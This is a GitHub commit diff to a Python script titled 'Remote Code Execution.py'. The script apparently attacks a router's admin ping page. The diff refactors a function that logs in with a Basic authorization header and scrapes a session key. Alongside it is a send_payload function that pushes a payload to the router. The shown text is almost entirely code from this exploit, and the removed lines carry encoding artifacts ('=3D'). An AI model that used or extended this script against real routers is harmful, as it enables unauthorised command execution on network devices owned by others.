Skip to content

Commit 4d61073

Browse files
authoredFeb 23, 2024
Merge pull request #377 from blondon1/patch-4
Improved Session Key Retrieval
2 parents 5456f25 + 0da136b commit 4d61073

File tree

1 file changed

+7
-10
lines changed

1 file changed

+7
-10
lines changed
 

‎Cyber_security projects/Remote Code Execution.py

+7-10
Original file line numberDiff line numberDiff line change
@@ -22,15 +22,12 @@ def main():
2222

2323

2424
def get_session():
25-
url =3D router_host + "/admin/ping.html"
26-
headers =3D {"Authorization": "Basic {}".format(authorization_header)}
27-
r =3D requests.get(url, headers=3Dheaders).text
28-
i =3D r.find("&sessionKey=3D") + len("&sessionKey=3D")
29-
s =3D ""
30-
while r[i] !=3D "'":
31-
s =3D s + r[i]
32-
i =3D i + 1
33-
return s
25+
url = f"{config['router_host']}/admin/ping.html"
26+
headers = {"Authorization": config['authorization_header']}
27+
response = requests.get(url, headers=headers)
28+
session_key = response.text.split("&sessionKey=")[1].split("'")[0]
29+
return session_key
30+
3431

3532

3633
def send_payload(payload):
@@ -42,4 +39,4 @@ def send_payload(payload):
4239
requests.get(url, headers=3Dheaders, params=3Dparams).text
4340

4441

45-
main()
42+
main()

0 commit comments

Comments
 (0)